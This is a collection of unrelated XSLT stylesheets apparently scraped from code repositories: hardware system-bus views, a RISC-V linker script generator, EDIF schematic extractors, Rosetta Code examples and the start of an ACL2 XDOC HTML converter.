name="G_SYS_INFO_ARCH" select="$G_SYS_INFO/@ARCH"/> <xsl:variable name="G_SYS_INFO_SPEED" select="$G_SYS_INFO/@SPEEDGRADE"/> <xsl:variable name="G_SYS_MODS" select="$G_SYS/MODULES"/> <xsl:variable name="G_SYS_EXPS" select="$G_SYS/EXTERNALPORTS"/> <xsl:variable name="COL_FOCUSED_MASTER" select="'AAAAFF'"/> <xsl:variable name="COL_BG_OUTOF_FOCUS_CONNECTIONS" select="'AA7711'"/> <!-- INDEX KEYS FOR FAST ACCESS --> <xsl:key name="G_MAP_MODULES" match="&ALLMODS;" use="@INSTANCE"/> <xsl:key name="G_MAP_PROCESSORS" match="&CPUMODS;" use="@INSTANCE"/> <xsl:key name="G_MAP_BUSSES" match="&BUSMODS;" use="@INSTANCE"/> <xsl:key name="G_MAP_BUSSES" match="&BUSMODS;" use="@BUSSTD"/> <xsl:key name="G_MAP_BUSSES" match="&BUSMODS;" use="@BUSSTD_PSF"/> <xsl:key name="G_MAP_ALL_IOFS" match="&ALLIOFS;" use="../../@INSTANCE"/> <xsl:key name="G_MAP_ALL_BIFS" match="&ALLBIFS;" use="../../@INSTANCE"/> <xsl:key name="G_MAP_ALL_BIFS_BY_BUS" match="&ALLBIFS;" use="@BUSNAME"/> <!-- --> <xsl:key name="G_MAP_MST_BIFS" match="&MSTBIFS;" use="@BUSNAME"/> <xsl:key name="G_MAP_SLV_BIFS" match="&SLVBIFS;" use="@BUSNAME"/> <xsl:key name="G_MAP_MOS_BIFS" match="&MOSBIFS;" use="@BUSNAME"/> <xsl:key name="G_MAP_P2P_BIFS" match="&P2PBIFS;" use="@BUSNAME"/> <xsl:key name="G_MAP_P2P_BIFS" match="&P2PBIFS;" use="@BUSSTD"/> <xsl:key name="G_MAP_P2P_BIFS" match="&P2PBIFS;" use="@BUSSTD_PSF"/> <xsl:key name="G_MAP_ALL_PORTS" match="&ALLPORTS;" use="../../@INSTANCE"/> <xsl:key name="G_MAP_DEF_PORTS" match="&DEFPORTS;" use="../../@INSTANCE"/> <!-- Default ports --> <xsl:key name="G_MAP_NDF_PORTS" match="&NDFPORTS;" use="../../@INSTANCE"/> <!-- Non Default ports --> <!-- <xsl:key name="G_MAP_MASTER_BIFS" match="&MSTBIFS;" use="@BUSNAME"/> <xsl:key name="G_MAP_MASTER_BIFS" match="MODULE[not(@MODCLASS ='BUS')]/BUSINTERFACES/BUSINTERFACE[(not(@IS_VALID) or (@IS_VALID = 'TRUE')) and (@TYPE = 'MASTER')]" use="../../@INSTANCE.@NAME"/> <xsl:key name="G_MAP_BUSSES_BY_INSTANCE" match="MODULE[(@MODCLASS ='BUS')]" use="@INSTANCE"/> <xsl:key name="G_MAP_XB_BUSSES" match="MODULE[(@MODCASS ='BUS')and (@IS_CROSSBAR)]" use="@INSTANCE"/> --> <!-- ====================================================== Groups.xml (BLOCKS) Globals ====================================================== --> <xsl:variable name="G_GRP_EVAL"> <xsl:choose> <xsl:when test="not($P_GROUPS_XML = '__UNDEF__')"><xsl:text>document($P_GROUPS_XML)</xsl:text></xsl:when> <xsl:otherwise><xsl:text>/</xsl:text></xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:variable name="G_GRPS_DOC" select="dyn:evaluate($G_GRP_EVAL)"/> <xsl:variable name="G_GROUPS" select="$G_GRPS_DOC/BLOCKS"/> <xsl:variable name="G_NUM_OF_PROCS" select="count($G_SYS/MODULES/MODULE[(@MODCLASS = 'PROCESSOR')])"/> <xsl:variable name="G_NUM_OF_PROCS_W_ADDRS" select="count($G_SYS/MODULES/MODULE[(@MODCLASS = 'PROCESSOR') and MEMORYMAP/MEMRANGE[((not(@IS_VALID) or (@IS_VALID = 'TRUE')) and ACCESSROUTE) ]])"/> <xsl:variable name="G_FOCUSED_SCOPE"> <xsl:choose> <!-- FOCUSING ON SPECIFIC SELECTIONS--> <xsl:when test="$G_ROOT/SAV/SELECTION"> </xsl:when> <!-- FOCUSING ON PROCESSOR --> <xsl:when test="$G_ROOT/SAV/MASTER"> <xsl:if test="$G_DEBUG = 'TRUE'"><xsl:message>FOCUSED MASTERS SPECIFIED</xsl:message></xsl:if> <xsl:for-each select="$G_ROOT/SAV/MASTER"> <xsl:variable name="m_inst_" select="@INSTANCE"/> <xsl:variable name="m_mod_" select="$G_SYS_MODS/MODULE[(@INSTANCE = $m_inst_)]"/> <xsl:for-each select="$m_mod_/BUSINTERFACES/BUSINTERFACE[(not(@IS_VALID) or (@IS_VALID = 'TRUE')) and not(@BUSNAME = '__NOC__') and ((@TYPE = 'MASTER') or (@TYPE = 'SLAVE') or (@TYPE = 'INITIATOR') or (@TYPE = 'TARGET'))]"> <xsl:if test="$G_DEBUG = 'TRUE'"><xsl:message> FOCUSED MASTER BIF <xsl:value-of select="$m_inst_"/>.<xsl:value-of select="@NAME"/> = <xsl:value-of select="@BUSNAME"/></xsl:message></xsl:if> <xsl:variable name="b_bus_" select="@BUSNAME"/> <BUS NAME="{@BUSNAME}" BUSSTD="{@BUSSTD}"/> <xsl:for-each select="$G_SYS_MODS/MODULE[(not(@INSTANCE = $m_inst_) and (@MODCLASS = 'BUS_BRIDGE'))]/BUSINTERFACES/BUSINTERFACE[(not(@IS_VALID) or (@IS_VALID = 'TRUE')) and (@TYPE = 'SLAVE') and (@BUSNAME = $b_bus_)]"> <xsl:variable name="b_inst_" select="../../@INSTANCE"/> <xsl:choose> <xsl:when test="MASTERS/MASTER"> <xsl:for-each select="MASTERS/MASTER"> <xsl:variable name="sm_inst_" select="@INSTANCE"/> <xsl:if test="count($G_ROOT/SAV/MASTER[(@INSTANCE = $sm_inst_)]) &gt; 0"> <xsl:if test="$G_DEBUG = 'TRUE'"><xsl:message> FOCUSED PERIPHERAL BRIDGE <xsl:value-of select="$b_inst_"/></xsl:message></xsl:if> <PERIPHERAL NAME="{$b_inst_}"/> </xsl:if> </xsl:for-each> </xsl:when> <xsl:otherwise> <xsl:if test="$G_DEBUG = 'TRUE'"><xsl:message> FOCUSED PERIPHERAL BRIDGE <xsl:value-of select="$b_inst_"/></xsl:message></xsl:if> <PERIPHERAL NAME="{$b_inst_}"/> </xsl:otherwise> </xsl:choose> </xsl:for-each> </xsl:for-each> <xsl:for-each select="$m_mod_/PERIPHERALS/PERIPHERAL"> <xsl:variable name="p_id_" select="@INSTANCE"/> <xsl:variable name="p_mod_" select="$G_SYS_MODS/MODULE[@INSTANCE = $p_id_]"/> <PERIPHERAL NAME="{@INSTANCE}"/> <xsl:variable name="p_mr_cnt_" select="count($m_mod_/MEMORYMAP/MEMRANGE[(@INSTANCE = $p_id_)])"/> <xsl:if test="$G_DEBUG = 'TRUE'"><xsl:message> FOCUSED PERIPHERAL <xsl:value-of select="$p_id_"/> has <xsl:value-of select="$p_mr_cnt_"/> memory ranges</xsl:message></xsl:if> <xsl:for-each select="$m_mod_/MEMORYMAP/MEMRANGE[(@INSTANCE = $p_id_)]/ACCESSROUTE/ROUTEPNT"> <xsl:variable name="b_id_" select="@INSTANCE"/> <xsl:for-each select="$G_SYS_MODS/MODULE[((@INSTANCE = $b_id_) and (@MODCLASS = 'BUS'))]"> <xsl:if test="$G_DEBUG = 'TRUE'"><xsl:message> FOCUSED PERIPHERAL BUS <xsl:value-of select="@INSTANCE"/></xsl:message></xsl:if> <BUS NAME="{@INSTANCE}" BUSSTD="{@BUSSTD}"/> </xsl:for-each> </xsl:for-each> </xsl:for-each> </xsl:for-each> </xsl:when> <!-- FOCUSING ON BUS --> <xsl:when test="$G_ROOT/SAV/BUS"> <xsl:if test="$G_DEBUG = 'TRUE'"><xsl:message>FOCUSED BUSSES SPECIFIED</xsl:message></xsl:if> <xsl:for-each select="$G_ROOT/SAV/BUS"> <xsl:variable name="m_inst_" select="@INSTANCE"/> <xsl:variable name="m_mod_" select="$G_SYS_MODS/MODULE[(@INSTANCE = $m_inst_)]"/> <xsl:variable name="m_bstd_" select="$m_mod_/@BUSSTD"/> <BUS NAME="{$m_inst_}" BUSSTD="{$m_bstd_}"/> <xsl:if test="$G_DEBUG = 'TRUE'"><xsl:message> FOCUSED BUS <xsl:value-of select="$m_inst_"/> <xsl:value-of select="$m_bstd_"/></xsl:message></xsl:if> </xsl:for-each> </xsl:when> </xsl:choose> </xsl:variable> <xsl:variable name="G_HAVE_XB_BUSSES"> <xsl:choose> <xsl:when test="(count($G_SYS_MODS/MODULE[((@MODCLASS = 'BUS') and (@IS_CROSSBAR = 'TRUE'))]) &gt; 0)">TRUE</xsl:when> <xsl:otherwise>FALSE</xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:template name="F_ModClass_To_IpClassification"> <xsl:param name="iModClass" select="'NONE'"/> <xsl:param name="iBusStd" select="'NONE'"/> <xsl:choose> <xsl:when test="$iModClass = 'BUS'"><xsl:value-of select="$iBusStd"/> Bus</xsl:when> <xsl:when test="$iModClass = 'DEBUG'">Debug</xsl:when> <xsl:when test="$iModClass = 'MEMORY'">Memory</xsl:when> <xsl:when test="$iModClass = 'MEMORY_CNTLR'">Memory Controller</xsl:when> <xsl:when test="$iModClass = 'INTERRUPT_CNTLR'">Interrupt Controller</xsl:when> <xsl:when test="$iModClass = 'PERIPHERAL'">Peripheral</xsl:when> <xsl:when test="$iModClass = 'PROCESSOR'">Processor</xsl:when> <xsl:when test="$iModClass = 'BUS_BRIDGE'">Bus Bridge</xsl:when> <xsl:otherwise><xsl:value-of select="$iModClass"/></xsl:otherwise> </xsl:choose> </xsl:template> <xsl:template name="F_Connection_To_AXI_SLAVE"> <xsl:param name="iNameParam" select="''"/> <xsl:param name="iModuleRefParam" select="''"/> <xsl:variable name="FilName" select="$iModuleRefParam/PARAMETERS/PARAMETER[@NAME=concat('C_', $iNameParam, '_MASTERS')]/@VALUE"/> <!-- <xsl:message>FIL NAME WAS <xsl:value-of select="$FilName"/></xsl:message> --> <xsl:value-of select="$FilName"/> </xsl:template> <xsl:template name="F_IS_Interface_External"> <xsl:param name="iInstRef"/> <!-- Instance reference --> <xsl:param name="iIntfRef"/> <!-- Interface reference --> <xsl:variable name="intfName_" select="$iIntfRef/@NAME"/> <xsl:variable name="instName_" select="$iInstRef/@INSTANCE"/> <!-- <xsl:message>NAME 1 <xsl:value-of select="$expName1_"/></xsl:message>--> <!-- <xsl:message>NAME 2 <xsl:value-of select="$expName2_"/></xsl:message>--> <!-- <xsl:variable name="expName1_" select="concat($instName_,'_',$intfName_,'_',@PHYSICAL,'_pin')"/> <xsl:variable name="expName2_" select="concat($instName_,'_',@PHYSICAL,'_pin')"/> --> <!-- Store the number of physical ports connected externals in a variable --> <xsl:variable name="connected_externals_"> <xsl:for-each select="$iIntfRef/PORTMAPS/PORTMAP"> <xsl:variable name="portName_" select="@PHYSICAL"/> <xsl:if test="$iInstRef/PORTS/PORT[(@NAME = $portName_)]"> <xsl:variable name="portNet_" select="$iInstRef/PORTS/PORT[(@NAME = $portName_)]/@SIGNAME"/> <xsl:if test="$G_SYS_EXPS/PORT[(@SIGNAME = $portNet_)]"> <EXTP NAME="{@PHYSICAL}"/> </xsl:if> </xsl:if> </xsl:for-each> </xsl:variable> <!-- <xsl:message><xsl:value-of select="$instName_"/>.<xsl:value-of select="$intfName_"/> has <xsl:value-of select="count(exsl:node-set($connected_externals_)/EXTP)"/> connected externals.</xsl:message> --> <xsl:choose> <xsl:when test="(count(exsl:node-set($connected_externals_)/EXTP) &gt; 0)">TRUE</xsl:when> <xsl:otherwise>FALSE</xsl:otherwise> </xsl:choose> </xsl:template> </xsl:stylesheet>
<filename>sw/linkerscript-riscv.xsl <?xml version="1.0" encoding="ISO-8859-1"?> <xsl:stylesheet version="1.0" xmlns:my="http://www.section5.ch/dclib/schema/devdesc" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" > <xsl:output method="text" encoding="ISO-8859-1"/> <xsl:template match="my:header"> <xsl:if test="@language = 'LINKERSCRIPT'"> <xsl:value-of select="."/> </xsl:if> </xsl:template> <xsl:template match="my:memorymap"> <xsl:text> </xsl:text> <xsl:value-of select="@name"/>(<xsl:value-of select="@access"/>) : ORIGIN = <xsl:value-of select="@offset"/>, LENGTH = <xsl:value-of select="@size"/> <xsl:text> </xsl:text> </xsl:template> <xsl:template match="my:section"> <xsl:text> </xsl:text> <xsl:value-of select="@name"/> <xsl:text> : { </xsl:text> <xsl:value-of select="my:linkerscript"/> <xsl:text> } > </xsl:text> <xsl:value-of select="@target"/> <xsl:text> </xsl:text> </xsl:template> <xsl:template match="/"> <xsl:text>/* Generated linker script * * Only modify this file when it has a XSL extension. * * 2004-2018, <NAME> &lt;<EMAIL>&gt; * */ </xsl:text> <xsl:apply-templates select=".//my:header"/> MEMORY { <xsl:apply-templates select=".//my:memorymap"/> } SECTIONS { <xsl:apply-templates select=".//my:section"/> <xsl:text>/* Extra stuff */ /* Set the start of the stack to the top of RAM: */ __stack_top = 0x00018000-4; /DISCARD/ : { *(.comment) } } </xsl:text> </xsl:template> </xsl:stylesheet>
<reponame>tomo3136a/hw_utils <?xml version="1.0" encoding="shift_jis"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="text"/> <xsl:param name="page"/> <!--root--> <xsl:template match="/"> <xsl:apply-templates select="edif"/> </xsl:template> <xsl:key name="fgl" match="//figureGroup" use="concat(../../@name,'-',@name)"/> <xsl:key name="fgi" match="//figureGroup/*" use="concat(../../../@name,'-',../@name,'-',name(),'-',@name)"/> <!--active page--> <xsl:template match="edif"> <xsl:variable name="cell_ref" select="design/cellRef/@name"/> <xsl:variable name="library_ref" select="design/cellRef/libraryRef/@name"/> <!--page list--> <xsl:for-each select="(library|external)[@name=$library_ref]"> <xsl:for-each select="cell[@name=$cell_ref]/view/contents"> <xsl:text>page-list:&#10;</xsl:text> <xsl:apply-templates select="page[@name=$page]"/> </xsl:for-each> </xsl:for-each> <!--figureGroup list--> <xsl:for-each select="(library|external)[@name=$library_ref]/technology"> <xsl:text>figureGroup-list:&#10;</xsl:text> <xsl:for-each select="figureGroup"> <xsl:call-template name="_name"/> </xsl:for-each> <xsl:text>&#10;</xsl:text> </xsl:for-each> <!--fogureGroup item list--> <xsl:for-each select="(library|external)[@name=$library_ref]/technology/figureGroup[1]"> <xsl:text>figureGroup-item-list:&#10;</xsl:text> <xsl:call-template name="_figureGroupItem"/> </xsl:for-each> <!--figureGroup contents--> <xsl:for-each select="(library|external)[@name=$library_ref]/technology"> <!-- <xsl:message> <xsl:text>figureGroup-list:&#10;</xsl:text> <xsl:for-each select="figureGroup"> <xsl:value-of select="@name" disable-output-escaping="yes"/> <xsl:text>&#10;</xsl:text> <xsl:copy-of select="./node()"/> <xsl:text>&#10;</xsl:text> </xsl:for-each> </xsl:message> --> </xsl:for-each> </xsl:template> <!--print page--> <xsl:template match="page"> <xsl:value-of select="@name" disable-output-escaping="yes"/> <xsl:text>&#10;</xsl:text> </xsl:template> <!--print figureGroup--> <xsl:template name="_name"> <xsl:choose> <xsl:when test="not (count(rename)=0)"> <xsl:value-of select="rename/@name" disable-output-escaping="yes"/> <xsl:text>&#32;&#32;</xsl:text> <xsl:value-of select="rename/text()" disable-output-escaping="yes"/> </xsl:when> <xsl:when test="not (count(name)=0)"> <xsl:value-of select="rename/text" disable-output-escaping="yes"/> </xsl:when> <xsl:otherwise> <xsl:value-of select="@name" disable-output-escaping="yes"/> <xsl:text>&#10;</xsl:text> </xsl:otherwise> </xsl:choose> </xsl:template> <!--print figureGroupItem--> <xsl:template name="_figureGroupItem"> <xsl:for-each select="./*"> <xsl:value-of select="name()" disable-output-escaping="yes"/> <xsl:if test="name()='property'"> <xsl:text>-</xsl:text> <xsl:value-of select="@name"/> </xsl:if> <xsl:text>&#10;</xsl:text> </xsl:for-each> </xsl:template> </xsl:stylesheet>
<gh_stars>1-10 <xsl:template name="table-header"> <xsl:param name="title"/> ... </xsl:template>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"> <xsl:template match="/numbers"> <html> <body> <ul> <xsl:apply-templates /> </ul> </body> </html> </xsl:template> <xsl:template match="number"> <li> Number: <xsl:apply-templates mode="value" /> Factors: <xsl:apply-templates mode="factors" /> </li> </xsl:template> <xsl:template match="value" mode="value"> <xsl:apply-templates /> </xsl:template> <xsl:template match="value" mode="factors"> <xsl:call-template name="generate"> <xsl:with-param name="number" select="number(current())" /> <xsl:with-param name="candidate" select="number(2)" /> </xsl:call-template> </xsl:template> <xsl:template name="generate"> <xsl:param name="number" /> <xsl:param name="candidate" /> <xsl:choose> <!-- 1 is no prime and does not have any factors --> <xsl:when test="$number = 1"></xsl:when> <!-- if the candidate is larger than the sqrt of the number, it's prime and the last factor --> <xsl:when test="$candidate * $candidate &gt; $number"> <xsl:value-of select="$number" /> </xsl:when> <!-- if the number is factored by the candidate, add the factor and try again with the same factor --> <xsl:when test="$number mod $candidate = 0"> <xsl:value-of select="$candidate" /> <xsl:text> </xsl:text> <xsl:call-template name="generate"> <xsl:with-param name="number" select="$number div $candidate" /> <xsl:with-param name="candidate" select="$candidate" /> </xsl:call-template> </xsl:when> <!-- else try again with the next factor --> <xsl:otherwise> <!-- increment by 2 to save stack depth --> <xsl:choose> <xsl:when test="$candidate = 2"> <xsl:call-template name="generate"> <xsl:with-param name="number" select="$number" /> <xsl:with-param name="candidate" select="$candidate + 1" /> </xsl:call-template> </xsl:when> <xsl:otherwise> <xsl:call-template name="generate"> <xsl:with-param name="number" select="$number" /> <xsl:with-param name="candidate" select="$candidate + 2" /> </xsl:call-template> </xsl:otherwise> </xsl:choose> </xsl:otherwise> </xsl:choose> </xsl:template> </xsl:stylesheet>
<reponame>LaudateCorpus1/RosettaCodeData sum($values) div count($values)
<?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="text"/> <xsl:param name="mode" select="'instance'"/> <!-- <xsl:param name="mode" select="'page,group,item,fg,library,cell,view,port,instance'"/> --> <!--root--> <xsl:template match="/"> <xsl:apply-templates select="edif"/> </xsl:template> <!--edif--> <xsl:template match="edif"> <xsl:variable name="cell_ref" select="design/cellref/@name"/> <xsl:variable name="library_ref" select="design/cellref/libraryref/@name"/> <!--page list--> <xsl:if test="contains($mode,'page')"> <xsl:for-each select="(library|external)[@name=$library_ref]"> <xsl:for-each select="cell[@name=$cell_ref]/view/contents"> <xsl:for-each select="page"> <xsl:value-of select="@name" disable-output-escaping="yes"/> <xsl:text>&#10;</xsl:text> </xsl:for-each> </xsl:for-each> </xsl:for-each> <xsl:text>&#10;</xsl:text> </xsl:if> <!--figureGroup list--> <xsl:if test="contains($mode,'group')"> <xsl:for-each select="(library|external)[@name=$library_ref]"> <xsl:for-each select="technology/figuregroup"> <xsl:value-of select="rename/text()|@name" disable-output-escaping="yes"/> <xsl:text>&#10;</xsl:text> </xsl:for-each> </xsl:for-each> <xsl:text>&#10;</xsl:text> </xsl:if> <!--fogureGroup item list--> <xsl:if test="contains($mode,'item')"> <xsl:for-each select="(library|external)[@name=$library_ref]"> <xsl:for-each select="technology/figuregroup[1]/*"> <xsl:value-of select="name()" disable-output-escaping="yes"/> <xsl:if test="name()='property'"> <xsl:text>-</xsl:text> <xsl:value-of select="@name"/> </xsl:if> <xsl:text>&#10;</xsl:text> </xsl:for-each> </xsl:for-each> <xsl:text>&#10;</xsl:text> </xsl:if> <!--figureGroup list--> <xsl:if test="contains($mode,'fg')"> <xsl:for-each select="(library|external)[@name=$library_ref]"> <xsl:for-each select="technology/figuregroup"> <xsl:value-of select="rename/text()|@name" disable-output-escaping="yes"/> <xsl:text>&#10;</xsl:text> <xsl:for-each select="*"> <xsl:text>&#32;&#32;</xsl:text> <xsl:value-of select="name()"/> <xsl:text>&#32;=&#32;</xsl:text> <xsl:value-of select="text()"/> <xsl:copy-of select="./*"/> <xsl:text>&#10;</xsl:text> </xsl:for-each> <xsl:text>&#10;</xsl:text> </xsl:for-each> </xsl:for-each> <xsl:text>&#10;</xsl:text> </xsl:if> <!--library list--> <xsl:if test="contains($mode,'library')"> <xsl:for-each select="library|external"> <xsl:variable name="library_name" select="rename/text()|@name"/> <xsl:value-of select="$library_name" disable-output-escaping="yes"/> <xsl:text>&#10;</xsl:text> </xsl:for-each> <xsl:text>&#10;</xsl:text> </xsl:if> <!--cell list--> <xsl:if test="contains($mode,'cell')"> <xsl:for-each select="library|external"> <xsl:variable name="library_name" select="rename/text()|@name"/> <xsl:for-each select="cell"> <xsl:variable name="cell_name" select="rename/text()|@name"/> <xsl:variable name="view_name" select="rename/text()|@name"/> <xsl:value-of select="$library_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="$cell_name" disable-output-escaping="yes"/> <xsl:text>&#10;</xsl:text> </xsl:for-each> </xsl:for-each> <xsl:text>&#10;</xsl:text> </xsl:if> <!--view list--> <xsl:if test="contains($mode,'view')"> <xsl:for-each select="library|external"> <xsl:variable name="library_name" select="rename/text()|@name"/> <xsl:for-each select="cell"> <xsl:variable name="cell_name" select="rename/text()|@name"/> <xsl:for-each select="view"> <xsl:variable name="view_name" select="rename/text()|@name"/> <xsl:value-of select="$library_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="$cell_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="$view_name" disable-output-escaping="yes"/> <xsl:text>&#10;</xsl:text> </xsl:for-each> </xsl:for-each> </xsl:for-each> <xsl:text>&#10;</xsl:text> </xsl:if> <!--port list--> <xsl:if test="contains($mode,'port2')"> <xsl:for-each select="library|external"> <xsl:variable name="library_name" select="rename/text()|@name"/> <xsl:for-each select="cell"> <xsl:variable name="cell_name" select="rename/text()|@name"/> <xsl:for-each select="view"> <xsl:variable name="view_name" select="rename/text()|@name"/> <xsl:for-each select="interface/port"> <xsl:variable name="port_name" select="rename/text()|@name"/> <xsl:value-of select="$library_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="$cell_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="$view_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="$port_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="designator" disable-output-escaping="yes"/> <xsl:text>&#10;</xsl:text> </xsl:for-each> </xsl:for-each> </xsl:for-each> </xsl:for-each> <xsl:text>&#10;</xsl:text> </xsl:if> <!--portImplementation list--> <xsl:if test="contains($mode,'port')"> <xsl:for-each select="library|external"> <xsl:variable name="library_name" select="rename/text()|@name"/> <xsl:for-each select="cell"> <xsl:variable name="cell_name" select="rename/text()|@name"/> <xsl:for-each select="view"> <xsl:variable name="view_name" select="rename/text()|@name"/> <xsl:for-each select="interface/symbol/portimplementation"> <xsl:variable name="port_name" select="rename/text()|@name"/> <xsl:variable name="pin_name" select="../../port[@name=$port_name]/designator"/> <xsl:value-of select="$library_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="$cell_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="$view_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="$port_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="$pin_name" disable-output-escaping="yes"/> <xsl:text>&#10;</xsl:text> </xsl:for-each> </xsl:for-each> </xsl:for-each> </xsl:for-each> <xsl:text>&#10;</xsl:text> </xsl:if> <!--instance list--> <!-- <xsl:if test="contains($mode,'instance')"> <xsl:for-each select="(library|external)[@name=$library_ref]"> <xsl:for-each select="cell[@name=$cell_ref]/view/contents"> <xsl:for-each select="page"> <xsl:value-of select="@name" disable-output-escaping="yes"/> <xsl:text>&#10;</xsl:text> </xsl:for-each> </xsl:for-each> </xsl:for-each> </xsl:if> <xsl:text>&#10;</xsl:text> --> <xsl:if test="contains($mode,'instance')"> <xsl:for-each select="library|external"> <xsl:variable name="library_name" select="rename/text()|@name"/> <xsl:for-each select="cell"> <xsl:variable name="cell_name" select="rename/text()|@name"/> <xsl:for-each select="view"> <xsl:variable name="view_name" select="rename/text()|@name"/> <xsl:for-each select=".//page"> <xsl:variable name="page_name" select="rename/text()|@name"/> <xsl:for-each select=".//instance"> <xsl:variable name="name" select="rename/text()|@name"/> <xsl:value-of select="$library_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="$cell_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="$view_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="$page_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="$name" disable-output-escaping="yes"/> <xsl:text>&#10;</xsl:text> </xsl:for-each> </xsl:for-each> </xsl:for-each> </xsl:for-each> </xsl:for-each> <xsl:text>&#10;</xsl:text> </xsl:if> <!--portImplementation list--> <!-- <xsl:if test="contains($mode,'port')"> <xsl:for-each select="library|external"> <xsl:variable name="library_name" select="rename/text()|@name"/> <xsl:for-each select="cell"> <xsl:variable name="cell_name" select="rename/text()|@name"/> <xsl:for-each select="view"> <xsl:variable name="view_name" select="rename/text()|@name"/> <xsl:for-each select="interface/symbol/portImplementation"> <xsl:variable name="port_name" select="rename/text()|@name"/> <xsl:variable name="pin_name" select="../../port[@name=$port_name]/designator"/> <xsl:value-of select="$library_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="$cell_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="$view_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="$port_name" disable-output-escaping="yes"/> <xsl:text>,</xsl:text> <xsl:value-of select="$pin_name" disable-output-escaping="yes"/> <xsl:text>&#10;</xsl:text> </xsl:for-each> </xsl:for-each> </xsl:for-each> </xsl:for-each> </xsl:if> <xsl:text>&#10;</xsl:text> --> </xsl:template> <!-- element name --> <!-- <xsl:template name="_name"> <xsl:choose> <xsl:when test="not (count(rename)=0)"> <xsl:value-of select="rename/@name" disable-output-escaping="yes"/> <xsl:text>&#32;&#32;</xsl:text> <xsl:value-of select="rename/text()" disable-output-escaping="yes"/> </xsl:when> <xsl:when test="not (count(name)=0)"> <xsl:value-of select="rename/text" disable-output-escaping="yes"/> </xsl:when> <xsl:otherwise> <xsl:value-of select="@name" disable-output-escaping="yes"/> </xsl:otherwise> </xsl:choose> </xsl:template> --> </xsl:stylesheet>
<gh_stars>1-10 <xsl:template name="ackermann"> <xsl:param name="m"/> <xsl:param name="n"/> <xsl:choose> <xsl:when test="$m = 0"> <xsl:value-of select="$n+1"/> </xsl:when> <xsl:when test="$n = 0"> <xsl:call-template name="ackermann"> <xsl:with-param name="m" select="$m - 1"/> <xsl:with-param name="n" select="'1'"/> </xsl:call-template> </xsl:when> <xsl:otherwise> <xsl:variable name="p"> <xsl:call-template name="ackermann"> <xsl:with-param name="m" select="$m"/> <xsl:with-param name="n" select="$n - 1"/> </xsl:call-template> </xsl:variable> <xsl:call-template name="ackermann"> <xsl:with-param name="m" select="$m - 1"/> <xsl:with-param name="n" select="$p"/> </xsl:call-template> </xsl:otherwise> </xsl:choose> </xsl:template>
<filename>books/xdoc/classic/html-core.xsl <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <!-- ; XDOC Documentation System for ACL2 ; Copyright (C) 2009-2011 Centaur Technology ; ; Contact: ; Centaur Technology Formal Verification Group ; 7600-C N. Capital of Texas Highway, Suite 300, Austin, TX 78731, USA. ; http://www.centtech.com/ ; ; License: (An MIT/X11-style license) ; ; Permission is hereby granted, free of charge, to any person obtaining a ; copy of this software and associated documentation files (the "Software"), ; to deal in the Software without restriction, including without limitation ; the rights to use, copy, modify, merge, publish, distribute, sublicense, ; and/or sell copies of the Software, and to permit persons to whom the ; Software is furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in ; all copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING ; FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER ; DEALINGS IN THE SOFTWARE. ; ; Original author: <NAME> <<EMAIL>> html-core.xsl - main conversion from xdoc markup to html --> <xsl:template match="page"> <html> <head> <title><xsl:value-of select="@name"/></title> <link rel="stylesheet" type="text/css" href="xdoc.css"/> <script type="text/javascript" src="xdoc.js"/> </head> <body class="body_normal"> <xsl:apply-templates/> </body> </html> </xsl:template> <xsl:template match="index"> <h3><xsl:value-of select="@title"/></h3> <dl class="index_dl"> <xsl:for-each select="index_entry"> <xsl:sort select="index_head/see" /> <dt class="index_dt"><xsl:apply-templates select="index_head"/></dt> <dd class="index_dd"><xsl:apply-templates select="index_body"/></dd> </xsl:for-each> </dl> </xsl:template> <xsl:template match="topic"> <h1><xsl:value-of select="@name"/></h1> <xsl:apply-templates/> </xsl:template> <xsl:template match="hindex_root"> <ul class="hindex"><xsl:apply-templates/></ul> </xsl:template> <xsl:template match="hindex_children"> <xsl:choose> <xsl:when test="@kind='hide'"> <ul class="hindex" id="{@id}" style="display: none"> <xsl:apply-templates/> </ul> </xsl:when> <xsl:otherwise> <ul class="hindex" 